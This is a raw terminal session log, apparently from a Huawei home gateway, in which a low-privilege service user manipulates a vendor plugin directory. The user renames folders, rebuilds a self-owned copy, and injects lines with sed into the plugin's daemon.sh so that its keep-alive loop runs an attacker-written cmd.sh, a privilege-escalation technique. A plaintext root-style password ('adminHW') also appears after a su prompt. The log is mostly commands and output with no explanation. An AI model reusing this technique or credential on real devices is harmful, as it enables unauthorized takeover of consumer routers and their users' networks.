mv MyPlugin _MyPlugin

mv MyPlugin.2 MyPlugin

cd MyPlugin

chmod +w daemon.sh

sed -i '/Copyright/a cd ..;cd _MyPlugin;' daemon.sh

sed -i '/while true/a sh /mnt/jffs2/app/cplugin/cplugin1/cmd.sh' daemon.sh

cat daemon.sh

#!/bin/sh

# Copyright Huawei Technologies Co., Ltd. 2010-2020. All rights reserved.


export LD_LIBRARY_PATH=$(pwd)/Lib:/usr/lib/glib-2.0:$LD_LIBRARY_PATH

trap ' ./plugin_stop.sh; exit 1;' 15

while true ; do

 ./plugin_startup.sh

 ./plugin_monitor.sh

 ./plugin_keeplive.sh

done

sed -i '/Copyright/a cd ..;cd _MyPlugin;' daemon.sh

cat daemon.sh

#!/bin/sh

# Copyright Huawei Technologies Co., Ltd. 2010-2020. All rights reserved.


export LD_LIBRARY_PATH=$(pwd)/Lib:/usr/lib/glib-2.0:$LD_LIBRARY_PATH

trap ' ./plugin_stop.sh; exit 1;' 15

while true ; do

 ./plugin_startup.sh

 ./plugin_monitor.sh

 ./plugin_keeplive.sh

done

ls

Lib

Preload

bin

daemon.sh

etc

log

plugin_keeplive.sh

plugin_monitor.sh

plugin_startup.sh

plugin_stop.sh

pwd

/mnt/jffs2/app/cplugin/cplugin1/MyPlugin

ls -lt

drwxr-x---  2 osgi_pro osgi     1384 Sep 11 2024 Lib

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 Preload

drwx------  2 osgi_pro osgi      160 Sep 11 2024 bin

-r-xr-x---  1 osgi_pro osgi      281 Sep 11 2024 daemon.sh

drwxr-x---  4 osgi_pro osgi      288 Sep 11 2024 etc

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 log

-r-xr-x---  1 osgi_pro osgi      93 Sep 11 2024 plugin_keeplive.sh

-r-xr-x---  1 osgi_pro osgi     2103 Sep 11 2024 plugin_monitor.sh

-r-xr-x---  1 osgi_pro osgi     6038 Sep 11 2024 plugin_startup.sh

-r-xr-x---  1 osgi_pro osgi      129 Sep 11 2024 plugin_stop.sh

id

uid=3030(srv_clid) gid=2002(service) groups=5(tty),6(disk),500(kmc),2000(osgi),2001(config),2002(service)

cd ..

ls -lt

-rw-------  1 osgi_pro osgi     1623 Sep 16 23:36 apLocalFlash

drwxr-x---  7 osgi_pro osgi      864 Sep 11 2024 MyPlugin

drwx------  4 osgi_pro osgi      440 Jan 1 1981 Data

drwxr-x---  3 osgi_pro osgi      224 Jan 1 1981 install_dir

drwxr-x---  7 osgi_pro osgi      936 Jan 1 1981 _MyPlugin

lrwxrwxrwx  1 osgi_pro osgi      26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp

-rw-------  1 osgi_pro osgi      425 Jan 1 1981 Info.plugin

cd MyPlugin

ls -lt

drwxr-x---  2 osgi_pro osgi     1384 Sep 11 2024 Lib

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 Preload

drwx------  2 osgi_pro osgi      160 Sep 11 2024 bin

-r-xr-x---  1 osgi_pro osgi      281 Sep 11 2024 daemon.sh

drwxr-x---  4 osgi_pro osgi      288 Sep 11 2024 etc

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 log

-r-xr-x---  1 osgi_pro osgi      93 Sep 11 2024 plugin_keeplive.sh

-r-xr-x---  1 osgi_pro osgi     2103 Sep 11 2024 plugin_monitor.sh

-r-xr-x---  1 osgi_pro osgi     6038 Sep 11 2024 plugin_startup.sh

-r-xr-x---  1 osgi_pro osgi      129 Sep 11 2024 plugin_stop.sh

chmod +w daemon.sh

ls -lt

drwxr-x---  2 osgi_pro osgi     1384 Sep 11 2024 Lib

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 Preload

drwx------  2 osgi_pro osgi      160 Sep 11 2024 bin

-r-xr-x---  1 osgi_pro osgi      281 Sep 11 2024 daemon.sh

drwxr-x---  4 osgi_pro osgi      288 Sep 11 2024 etc

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 log

-r-xr-x---  1 osgi_pro osgi      93 Sep 11 2024 plugin_keeplive.sh

-r-xr-x---  1 osgi_pro osgi     2103 Sep 11 2024 plugin_monitor.sh

-r-xr-x---  1 osgi_pro osgi     6038 Sep 11 2024 plugin_startup.sh

-r-xr-x---  1 osgi_pro osgi      129 Sep 11 2024 plugin_stop.sh

id

uid=3030(srv_clid) gid=2002(service) groups=5(tty),6(disk),500(kmc),2000(osgi),2001(config),2002(service)

chmod 777 daemon.sh

ls -lt

drwxr-x---  2 osgi_pro osgi     1384 Sep 11 2024 Lib

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 Preload

drwx------  2 osgi_pro osgi      160 Sep 11 2024 bin

-r-xr-x---  1 osgi_pro osgi      281 Sep 11 2024 daemon.sh

drwxr-x---  4 osgi_pro osgi      288 Sep 11 2024 etc

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 log

-r-xr-x---  1 osgi_pro osgi      93 Sep 11 2024 plugin_keeplive.sh

-r-xr-x---  1 osgi_pro osgi     2103 Sep 11 2024 plugin_monitor.sh

-r-xr-x---  1 osgi_pro osgi     6038 Sep 11 2024 plugin_startup.sh

-r-xr-x---  1 osgi_pro osgi      129 Sep 11 2024 plugin_stop.sh

pwd

/mnt/jffs2/app/cplugin/cplugin1/MyPlugin

cd ..

ls

Data

Info.plugin

MyPlugin

Temp

_MyPlugin

apLocalFlash

install_dir

ls -lt

-rw-------  1 osgi_pro osgi     1623 Sep 16 23:36 apLocalFlash

drwxr-x---  7 osgi_pro osgi      864 Sep 11 2024 MyPlugin

drwx------  4 osgi_pro osgi      440 Jan 1 1981 Data

drwxr-x---  3 osgi_pro osgi      224 Jan 1 1981 install_dir

drwxr-x---  7 osgi_pro osgi      936 Jan 1 1981 _MyPlugin

lrwxrwxrwx  1 osgi_pro osgi      26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp

-rw-------  1 osgi_pro osgi      425 Jan 1 1981 Info.plugin

echo 'id>x' > cmd.sh

ls -lt

-rw-r-----  1 srv_clid service     5 Sep 21 01:02 cmd.sh

-rw-------  1 osgi_pro osgi     1623 Sep 16 23:36 apLocalFlash

drwxr-x---  7 osgi_pro osgi      864 Sep 11 2024 MyPlugin

drwx------  4 osgi_pro osgi      440 Jan 1 1981 Data

drwxr-x---  3 osgi_pro osgi      224 Jan 1 1981 install_dir

drwxr-x---  7 osgi_pro osgi      936 Jan 1 1981 _MyPlugin

lrwxrwxrwx  1 osgi_pro osgi      26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp

-rw-------  1 osgi_pro osgi      425 Jan 1 1981 Info.plugin

su

Password: adminHW


ls

Data

Info.plugin

MyPlugin

Temp

_MyPlugin

apLocalFlash

cmd.sh

install_dir

ls -lt

-rw-r-----  1 srv_clid service     5 Sep 21 01:02 cmd.sh

-rw-------  1 osgi_pro osgi     1623 Sep 16 23:36 apLocalFlash

drwxr-x---  7 osgi_pro osgi      864 Sep 11 2024 MyPlugin

drwx------  4 osgi_pro osgi      440 Jan 1 1981 Data

drwxr-x---  3 osgi_pro osgi      224 Jan 1 1981 install_dir

drwxr-x---  7 osgi_pro osgi      936 Jan 1 1981 _MyPlugin

lrwxrwxrwx  1 osgi_pro osgi      26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp

-rw-------  1 osgi_pro osgi      425 Jan 1 1981 Info.plugin

cd MyPlugin

ls

Lib

Preload

bin

daemon.sh

etc

log

plugin_keeplive.sh

plugin_monitor.sh

plugin_startup.sh

plugin_stop.sh

ls 0lt

ls -lt

drwxr-x---  2 osgi_pro osgi     1384 Sep 11 2024 Lib

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 Preload

drwx------  2 osgi_pro osgi      160 Sep 11 2024 bin

-r-xr-x---  1 osgi_pro osgi      281 Sep 11 2024 daemon.sh

drwxr-x---  4 osgi_pro osgi      288 Sep 11 2024 etc

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 log

-r-xr-x---  1 osgi_pro osgi      93 Sep 11 2024 plugin_keeplive.sh

-r-xr-x---  1 osgi_pro osgi     2103 Sep 11 2024 plugin_monitor.sh

-r-xr-x---  1 osgi_pro osgi     6038 Sep 11 2024 plugin_startup.sh

-r-xr-x---  1 osgi_pro osgi      129 Sep 11 2024 plugin_stop.sh

chmod +w daemon.sh

ls -lt

drwxr-x---  2 osgi_pro osgi     1384 Sep 11 2024 Lib

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 Preload

drwx------  2 osgi_pro osgi      160 Sep 11 2024 bin

-r-xr-x---  1 osgi_pro osgi      281 Sep 11 2024 daemon.sh

drwxr-x---  4 osgi_pro osgi      288 Sep 11 2024 etc

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 log

-r-xr-x---  1 osgi_pro osgi      93 Sep 11 2024 plugin_keeplive.sh

-r-xr-x---  1 osgi_pro osgi     2103 Sep 11 2024 plugin_monitor.sh

-r-xr-x---  1 osgi_pro osgi     6038 Sep 11 2024 plugin_startup.sh

-r-xr-x---  1 osgi_pro osgi      129 Sep 11 2024 plugin_stop.sh

ps

 PID USER    VSZ STAT COMMAND

  1 root   1492 S  init

  2 root     0 SW  [kthreadd]

  3 root     0 SW  [ksoftirqd/0]

  5 root     0 SW< [kworker/0:0H]

  7 root     0 SW  [rcu_sched]

  8 root     0 SW  [rcu_bh]

  9 root     0 SW  [migration/0]

  12 root     0 SW  [migration/1]

  13 root     0 SW  [ksoftirqd/1]

  15 root     0 SW< [kworker/1:0H]

  16 root     0 SW  [kdevtmpfs]

  17 root     0 SW< [netns]

 119 root     0 SW  [khungtaskd]

 120 root     0 SW< [writeback]

 122 root     0 SW< [crypto]

 123 root     0 SW< [bioset]

 125 root     0 SW< [kblockd]

 148 root     0 SW  [kworker/0:1]

 163 root     0 SW  [kswapd0]

 164 root     0 SW< [vmstat]

 314 root     0 SW< [bioset]

 315 root     0 SW< [bioset]

 316 root     0 SW< [bioset]

 317 root     0 SW< [bioset]

 332 root     0 SW< [bioset]

 337 root     0 SW< [bioset]

 344 root     0 SW  [kboxd]

 350 root     0 SW< [deferwq]

 364 root     0 SW  [ubi_bgt0d]

 368 root     0 SW< [bioset]

 374 root     0 SW< [bioset]

 380 root     0 SW< [bioset]

 386 root     0 SW< [bioset]

 392 root     0 SW< [bioset]

 398 root     0 SW< [bioset]

 404 root     0 SW< [bioset]

 410 root     0 SW< [bioset]

 416 root     0 SW< [bioset]

 422 root     0 SW< [bioset]

 425 root     0 SW< [kworker/0:1H]

 428 root     0 SW< [kworker/1:1H]

 562 srv_ssmp 1980 S  collect_pipe

 583 root     0 SW  [random_generate]

 585 root     0 SW  [wap_wq]

 674 root     0 SW  [ubifs_bgt0_9]

 752 root     0 SW< [ipv6_addrconf]

 756 root     0 SW< [bioset]

 759 root     0 SW< [bioset]

 762 root     0 SW< [bioset]

 765 root     0 SW< [bioset]

 768 root     0 SW< [bioset]

 771 root     0 SW< [bioset]

 774 root     0 SW< [bioset]

 777 root     0 SW< [bioset]

 797 root     0 SW  [hi_workq]

 832 root     0 SW  [eth_manager]

 923 root     0 SW  [watchdog/0]

 924 root     0 SW  [watchdog/1]

 1014 root     0 SW< [mirror_wq]

 1048 root     0 SW< [cfg80211]

 1199 root     0 SW< [xt_capture]

 1258 root     0 SW< [dev_workqueue]

 1260 root     0 SW< [optic_status_wo]

 1261 root     0 SW< [firmware_load_w]

 1304 srv_ssmp 19288 S  ssmp

 1305 srv_cms 13140 S  cms

 1306 srv_comm 11696 S  lsvd

 1307 root   11608 S  comm -l bbsp wifi cms cwmp wlan_dbus uplinkqos tr098

 1308 srv_ret 10984 S  ret_server

 1309 srv_bbsp 30000 S  bbsp

 1310 srv_amp 15816 S  amp

 1313 root     0 SW< [oal_workqueue]

 1314 srv_igmp 12576 S  igmp

 1315 srv_emdi 11436 S  emdi

 1316 cfg_cwmp 17820 S  cwmp

 1317 cfg_cwmp 11524 S  tr111p2

 1318 srv_wifi 25092 S  wifi

 1365 root     0 SW  [HCC TX Thread]

 1366 root     0 SW  [Host MSG RX ]

 1367 root     0 SW  [Host DATA RX]

 1368 root     0 SW  [Host PLAT RX ]

 1369 root     0 SW  [Host DATA ]

 1370 root     0 SW  [Host DATA ]

 1372 root     0 SW  [kworker/0:2]

 1404 root     0 SW  [pcie_thread]

 1407 root     0 SW< [plat_exception_]

 1408 root     0 SW< [wlan_pm_wq]

 1434 root     0 SW  [kworker/1:2]

 1439 root   11840 S  procmonitor ssmp bbsp amp

 1449 root     0 SW  [hisi_rxdata/0]

 1450 root     0 SW  [hisi_rxdata/1]

 1455 srv_bbsp 1956 S  ip6tables-restore -n

 1462 root     0 SW< [hcc_test]

 1551 srv_bbsp 1996 S  iptables-restore -n

 1654 srv_bbsp 11540 S  dhcpd

 1737 srv_bbsp 1228 S  radvd -d 1 -n -m stderr

 1765 srv_clid 14520 S  clid -rpc

 1769 srv_bbsp 1752 S  dhcp6s -f -r -c /var/ipv6/dhcp6s/dhcp6s.conf br0

 1779 srv_clid 1504 S  /bin/sh --wap

 1784 srv_clid 1352 S  dropbear -r /mnt/jffs2/dropbear_rsa_host_key -p 192.

 1798 srv_clid 1352 S  dropbear -r /mnt/jffs2/dropbear_rsa_host_key -p [fe8

 1802 srv_clid 1352 S  dropbear -r /mnt/jffs2/dropbear_rsa_host_key -p [fe8

 1840 srv_amp 10840 S  ldspcli

 1872 root     0 SW  [kworker/u8:3]

 1976 srv_wifi 1328 S  app_sdt_hisi s

 2044 srv_bbsp 1484 S  dnsmasq --conf-file=/var/dnsmasqwan1.1.ip1.conf

 2076 srv_clid 1352 S  dropbear -r /mnt/jffs2/dropbear_rsa_host_key -p 192.

 2079 srv_cms 10952 S  sntp

 2224 srv_bbsp 1484 S  dnsmasq --conf-file=/var/dnsmasq_br0.conf

 2234 srv_bbsp 1484 S  dnsmasq --conf-file=/var/dnsv6/dnsmasq_br0.conf

 2443 cfg_wifi 4708 S  hostapd -d -K -t -e/tmp/myramdom -f/tmp/hostapd_vap0

 2448 cfg_wifi 4708 S  hostapd -d -K -t -e/tmp/myramdom -f/tmp/hostapd_vap3

 2478 srv_cage 18828 S  APManage

 2479 root   1504 S  {exe} ash /bin/console.sh

 2518 cfg_wifi 4708 S  hostapd -d -K -t -e/tmp/myramdom -f/tmp/hostapd_vap4

 2522 cfg_wifi 4708 S  hostapd -d -K -t -e/tmp/myramdom -f/tmp/hostapd_vap7

 2575 srv_appm 19272 S  app_m

 2577 srv_web 17148 S  web -s 13 -c 8705 -s 14 -c 8450 -s 15 -c 12547 -s 16

 2593 srv_kmc 10960 S  kmc

 2616 root   15512 S  /bin/ctcapd

 2622 root   1192 S  /bin/ubusd

 2639 root   1236 S  /bin/init.ctc

 2643 root   1440 S  appd

 2668 root   3540 S  qlink

 2669 root   3764 S  elinkclt

 2670 root   4172 S  apmaintain

 2681 root   11352 S  wificli

 2689 srv_cage 26268 S  cagent

 2690 srv_apm 13504 SN  apm

 2691 srv_udm 14936 S  udm

 2712 srv_em  44720 S  easymesh

 6683 root     0 SW  [kworker/1:1]

 6711 srv_clid 1504 S  /bin/sh -c telnet ;sh; 213

 6713 srv_clid 1504 S  sh

 6813 srv_clid 1504 S  sh

 6831 root     0 SW  [kworker/u8:0]

 8455 srv_clid 1492 R  ps

ls

Lib

Preload

bin

daemon.sh

etc

log

plugin_keeplive.sh

plugin_monitor.sh

plugin_startup.sh

plugin_stop.sh

ls -lt

drwxr-x---  2 osgi_pro osgi     1384 Sep 11 2024 Lib

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 Preload

drwx------  2 osgi_pro osgi      160 Sep 11 2024 bin

-r-xr-x---  1 osgi_pro osgi      281 Sep 11 2024 daemon.sh

drwxr-x---  4 osgi_pro osgi      288 Sep 11 2024 etc

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 log

-r-xr-x---  1 osgi_pro osgi      93 Sep 11 2024 plugin_keeplive.sh

-r-xr-x---  1 osgi_pro osgi     2103 Sep 11 2024 plugin_monitor.sh

-r-xr-x---  1 osgi_pro osgi     6038 Sep 11 2024 plugin_startup.sh

-r-xr-x---  1 osgi_pro osgi      129 Sep 11 2024 plugin_stop.sh

chmod 777 ./daemon.sh

ls -lt

drwxr-x---  2 osgi_pro osgi     1384 Sep 11 2024 Lib

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 Preload

drwx------  2 osgi_pro osgi      160 Sep 11 2024 bin

-r-xr-x---  1 osgi_pro osgi      281 Sep 11 2024 daemon.sh

drwxr-x---  4 osgi_pro osgi      288 Sep 11 2024 etc

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 log

-r-xr-x---  1 osgi_pro osgi      93 Sep 11 2024 plugin_keeplive.sh

-r-xr-x---  1 osgi_pro osgi     2103 Sep 11 2024 plugin_monitor.sh

-r-xr-x---  1 osgi_pro osgi     6038 Sep 11 2024 plugin_startup.sh

-r-xr-x---  1 osgi_pro osgi      129 Sep 11 2024 plugin_stop.sh

cd ..

ls

Data

Info.plugin

MyPlugin

Temp

_MyPlugin

apLocalFlash

cmd.sh

install_dir

ls -lt

-rw-r-----  1 srv_clid service     5 Sep 21 01:02 cmd.sh

-rw-------  1 osgi_pro osgi     1623 Sep 16 23:36 apLocalFlash

drwxr-x---  7 osgi_pro osgi      864 Sep 11 2024 MyPlugin

drwx------  4 osgi_pro osgi      440 Jan 1 1981 Data

drwxr-x---  3 osgi_pro osgi      224 Jan 1 1981 install_dir

drwxr-x---  7 osgi_pro osgi      936 Jan 1 1981 _MyPlugin

lrwxrwxrwx  1 osgi_pro osgi      26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp

-rw-------  1 osgi_pro osgi      425 Jan 1 1981 Info.plugin

chmod +w MyPlugin

ls -lt

-rw-r-----  1 srv_clid service     5 Sep 21 01:02 cmd.sh

-rw-------  1 osgi_pro osgi     1623 Sep 16 23:36 apLocalFlash

drwxr-x---  7 osgi_pro osgi      864 Sep 11 2024 MyPlugin

drwx------  4 osgi_pro osgi      440 Jan 1 1981 Data

drwxr-x---  3 osgi_pro osgi      224 Jan 1 1981 install_dir

drwxr-x---  7 osgi_pro osgi      936 Jan 1 1981 _MyPlugin

lrwxrwxrwx  1 osgi_pro osgi      26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp

-rw-------  1 osgi_pro osgi      425 Jan 1 1981 Info.plugin

id

uid=3030(srv_clid) gid=2002(service) groups=5(tty),6(disk),500(kmc),2000(osgi),2001(config),2002(service)

cd MyPlugin

ls -lt

drwxr-x---  2 osgi_pro osgi     1384 Sep 11 2024 Lib

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 Preload

drwx------  2 osgi_pro osgi      160 Sep 11 2024 bin

-r-xr-x---  1 osgi_pro osgi      281 Sep 11 2024 daemon.sh

drwxr-x---  4 osgi_pro osgi      288 Sep 11 2024 etc

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 log

-r-xr-x---  1 osgi_pro osgi      93 Sep 11 2024 plugin_keeplive.sh

-r-xr-x---  1 osgi_pro osgi     2103 Sep 11 2024 plugin_monitor.sh

-r-xr-x---  1 osgi_pro osgi     6038 Sep 11 2024 plugin_startup.sh

-r-xr-x---  1 osgi_pro osgi      129 Sep 11 2024 plugin_stop.sh

chmod g+w daemon.sh

ls -lt

drwxr-x---  2 osgi_pro osgi     1384 Sep 11 2024 Lib

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 Preload

drwx------  2 osgi_pro osgi      160 Sep 11 2024 bin

-r-xr-x---  1 osgi_pro osgi      281 Sep 11 2024 daemon.sh

drwxr-x---  4 osgi_pro osgi      288 Sep 11 2024 etc

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 log

-r-xr-x---  1 osgi_pro osgi      93 Sep 11 2024 plugin_keeplive.sh

-r-xr-x---  1 osgi_pro osgi     2103 Sep 11 2024 plugin_monitor.sh

-r-xr-x---  1 osgi_pro osgi     6038 Sep 11 2024 plugin_startup.sh

-r-xr-x---  1 osgi_pro osgi      129 Sep 11 2024 plugin_stop.sh

id

uid=3030(srv_clid) gid=2002(service) groups=5(tty),6(disk),500(kmc),2000(osgi),2001(config),2002(service)

cd ..

ls

Data

Info.plugin

MyPlugin

Temp

_MyPlugin

apLocalFlash

cmd.sh

install_dir

ls -lt

-rw-r-----  1 srv_clid service     5 Sep 21 01:02 cmd.sh

-rw-------  1 osgi_pro osgi     1623 Sep 16 23:36 apLocalFlash

drwxr-x---  7 osgi_pro osgi      864 Sep 11 2024 MyPlugin

drwx------  4 osgi_pro osgi      440 Jan 1 1981 Data

drwxr-x---  3 osgi_pro osgi      224 Jan 1 1981 install_dir

drwxr-x---  7 osgi_pro osgi      936 Jan 1 1981 _MyPlugin

lrwxrwxrwx  1 osgi_pro osgi      26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp

-rw-------  1 osgi_pro osgi      425 Jan 1 1981 Info.plugin

chmod g+w cmd.sh

ls -lt

-rw-rw----  1 srv_clid service     5 Sep 21 01:02 cmd.sh

-rw-------  1 osgi_pro osgi     1623 Sep 16 23:36 apLocalFlash

drwxr-x---  7 osgi_pro osgi      864 Sep 11 2024 MyPlugin

drwx------  4 osgi_pro osgi      440 Jan 1 1981 Data

drwxr-x---  3 osgi_pro osgi      224 Jan 1 1981 install_dir

drwxr-x---  7 osgi_pro osgi      936 Jan 1 1981 _MyPlugin

lrwxrwxrwx  1 osgi_pro osgi      26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp

-rw-------  1 osgi_pro osgi      425 Jan 1 1981 Info.plugin

mv MyPlugin MyPlugin.2

ls -lt

-rw-rw----  1 srv_clid service     5 Sep 21 01:02 cmd.sh

-rw-------  1 osgi_pro osgi     1623 Sep 16 23:36 apLocalFlash

drwxr-x---  7 osgi_pro osgi      864 Sep 11 2024 MyPlugin.2

drwx------  4 osgi_pro osgi      440 Jan 1 1981 Data

drwxr-x---  3 osgi_pro osgi      224 Jan 1 1981 install_dir

drwxr-x---  7 osgi_pro osgi      936 Jan 1 1981 _MyPlugin

lrwxrwxrwx  1 osgi_pro osgi      26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp

-rw-------  1 osgi_pro osgi      425 Jan 1 1981 Info.plugin

mkdir MyPlugin

cd MyPlugin

ls -lt

cd ..

ls -lt

drwxr-x---  2 srv_clid service    160 Sep 21 01:19 MyPlugin

-rw-rw----  1 srv_clid service     5 Sep 21 01:02 cmd.sh

-rw-------  1 osgi_pro osgi     1623 Sep 16 23:36 apLocalFlash

drwxr-x---  7 osgi_pro osgi      864 Sep 11 2024 MyPlugin.2

drwx------  4 osgi_pro osgi      440 Jan 1 1981 Data

drwxr-x---  3 osgi_pro osgi      224 Jan 1 1981 install_dir

drwxr-x---  7 osgi_pro osgi      936 Jan 1 1981 _MyPlugin

lrwxrwxrwx  1 osgi_pro osgi      26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp

-rw-------  1 osgi_pro osgi      425 Jan 1 1981 Info.plugin

cd MyPlugin

cd ../MyPlugin.2

ls -R

.:

Lib

Preload

bin

daemon.sh

etc

log

plugin_keeplive.sh

plugin_monitor.sh

plugin_startup.sh

plugin_stop.sh


./Lib:

libcivetweb.so

libcivetweb.so.1

libcjson.so

libcjson.so.1

libcurl.so

libcurl.so.4

libmbedcrypto.so

libmbedcrypto.so.0

libmbedtls.so

libmbedtls.so.10

libmbedx509.so

libmbedx509.so.0

libpaho-mqtt3cs.so

libpaho-mqtt3cs.so.1

libprotobuf-c.so

libprotobuf-c.so.1


./Preload:


./bin:


./etc:

config

res


./etc/config:


./etc/res:

webs.tar.gz


./log:

ls

Lib

Preload

bin

daemon.sh

etc

log

plugin_keeplive.sh

plugin_monitor.sh

plugin_startup.sh

plugin_stop.sh

ls

Lib

Preload

bin

daemon.sh

etc

log

plugin_keeplive.sh

plugin_monitor.sh

plugin_startup.sh

plugin_stop.sh

pwd

/mnt/jffs2/app/cplugin/cplugin1/MyPlugin.2

mv daemon.sh daemon.sh.2

ls -lt

drwxr-x---  2 osgi_pro osgi     1384 Sep 11 2024 Lib

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 Preload

drwx------  2 osgi_pro osgi      160 Sep 11 2024 bin

-r-xr-x---  1 osgi_pro osgi      281 Sep 11 2024 daemon.sh

drwxr-x---  4 osgi_pro osgi      288 Sep 11 2024 etc

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 log

-r-xr-x---  1 osgi_pro osgi      93 Sep 11 2024 plugin_keeplive.sh

-r-xr-x---  1 osgi_pro osgi     2103 Sep 11 2024 plugin_monitor.sh

-r-xr-x---  1 osgi_pro osgi     6038 Sep 11 2024 plugin_startup.sh

-r-xr-x---  1 osgi_pro osgi      129 Sep 11 2024 plugin_stop.sh

cp daemon.sh daemon.sh.2

ls -lt

drwxr-x---  2 osgi_pro osgi     1384 Sep 11 2024 Lib

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 Preload

drwx------  2 osgi_pro osgi      160 Sep 11 2024 bin

-r-xr-x---  1 osgi_pro osgi      281 Sep 11 2024 daemon.sh

drwxr-x---  4 osgi_pro osgi      288 Sep 11 2024 etc

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 log

-r-xr-x---  1 osgi_pro osgi      93 Sep 11 2024 plugin_keeplive.sh

-r-xr-x---  1 osgi_pro osgi     2103 Sep 11 2024 plugin_monitor.sh

-r-xr-x---  1 osgi_pro osgi     6038 Sep 11 2024 plugin_startup.sh

-r-xr-x---  1 osgi_pro osgi      129 Sep 11 2024 plugin_stop.sh

cd ..

ls

Data

Info.plugin

MyPlugin

MyPlugin.2

Temp

_MyPlugin

apLocalFlash

cmd.sh

install_dir

cd MyPlugin

cp -r ../MyPlugin.2/Lib .

ls -lt

drwxr-x---  2 srv_clid service    1384 Sep 21 01:23 Lib

cp -r ../MyPlugin.2/Preload .

cp -r ../MyPlugin.2/etc .

cp -r ../MyPlugin.2/log .

cp plugin_keeplive.sh .

ls -lt

drwxr-x---  2 srv_clid service    160 Sep 21 01:24 log

drwxr-x---  4 srv_clid service    288 Sep 21 01:24 etc

drwxr-x---  2 srv_clid service    160 Sep 21 01:23 Preload

drwxr-x---  2 srv_clid service    1384 Sep 21 01:23 Lib

cd Lib

ls

libcivetweb.so

libcivetweb.so.1

libcjson.so

libcjson.so.1

libcurl.so

libcurl.so.4

libmbedcrypto.so

libmbedcrypto.so.0

libmbedtls.so

libmbedtls.so.10

libmbedx509.so

libmbedx509.so.0

libpaho-mqtt3cs.so

libpaho-mqtt3cs.so.1

libprotobuf-c.so

libprotobuf-c.so.1

ls 0lt

ls -lt

lrwxrwxrwx  1 srv_clid service     16 Sep 21 01:23 libcivetweb.so -> libcivetweb.so.1

lrwxrwxrwx  1 srv_clid service     21 Sep 21 01:23 libcivetweb.so.1 -> libcivetweb.so.1.13.0

lrwxrwxrwx  1 srv_clid service     13 Sep 21 01:23 libcjson.so -> libcjson.so.1

lrwxrwxrwx  1 srv_clid service     18 Sep 21 01:23 libcjson.so.1 -> libcjson.so.1.7.14

lrwxrwxrwx  1 srv_clid service     16 Sep 21 01:23 libcurl.so -> libcurl.so.4.6.0

lrwxrwxrwx  1 srv_clid service     16 Sep 21 01:23 libcurl.so.4 -> libcurl.so.4.6.0

lrwxrwxrwx  1 srv_clid service     13 Sep 21 01:23 libmbedcrypto.so -> libmbedall.so

lrwxrwxrwx  1 srv_clid service     13 Sep 21 01:23 libmbedcrypto.so.0 -> libmbedall.so

lrwxrwxrwx  1 srv_clid service     13 Sep 21 01:23 libmbedtls.so -> libmbedall.so

lrwxrwxrwx  1 srv_clid service     13 Sep 21 01:23 libmbedtls.so.10 -> libmbedall.so

lrwxrwxrwx  1 srv_clid service     13 Sep 21 01:23 libmbedx509.so -> libmbedall.so

lrwxrwxrwx  1 srv_clid service     13 Sep 21 01:23 libmbedx509.so.0 -> libmbedall.so

lrwxrwxrwx  1 srv_clid service     20 Sep 21 01:23 libpaho-mqtt3cs.so -> libpaho-mqtt3cs.so.1

lrwxrwxrwx  1 srv_clid service     24 Sep 21 01:23 libpaho-mqtt3cs.so.1 -> libpaho-mqtt3cs.so.1.3.4

lrwxrwxrwx  1 srv_clid service     22 Sep 21 01:23 libprotobuf-c.so -> libprotobuf-c.so.1.0.0

lrwxrwxrwx  1 srv_clid service     22 Sep 21 01:23 libprotobuf-c.so.1 -> libprotobuf-c.so.1.0.0

cd ../etc

ls -lt

drwxr-x---  2 srv_clid service    160 Sep 21 01:24 config

drwxr-x---  2 srv_clid service    232 Sep 21 01:24 res

cd config

ls

cd ../res

ls

webs.tar.gz

ls -ls

  420 -rw-r-----  1 srv_clid service   430080 Sep 21 01:24 webs.tar.gz

cd ../..

ls

Lib

Preload

etc

log

pwd

/mnt/jffs2/app/cplugin/cplugin1/MyPlugin

ls -lt

drwxr-x---  2 srv_clid service    160 Sep 21 01:24 log

drwxr-x---  4 srv_clid service    288 Sep 21 01:24 etc

drwxr-x---  2 srv_clid service    160 Sep 21 01:23 Preload

drwxr-x---  2 srv_clid service    1384 Sep 21 01:23 Lib

ls -lt ../MyPlugin.2

drwxr-x---  2 osgi_pro osgi     1384 Sep 11 2024 Lib

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 Preload

drwx------  2 osgi_pro osgi      160 Sep 11 2024 bin

-r-xr-x---  1 osgi_pro osgi      281 Sep 11 2024 daemon.sh

drwxr-x---  4 osgi_pro osgi      288 Sep 11 2024 etc

drwxr-x---  2 osgi_pro osgi      160 Sep 11 2024 log

-r-xr-x---  1 osgi_pro osgi      93 Sep 11 2024 plugin_keeplive.sh

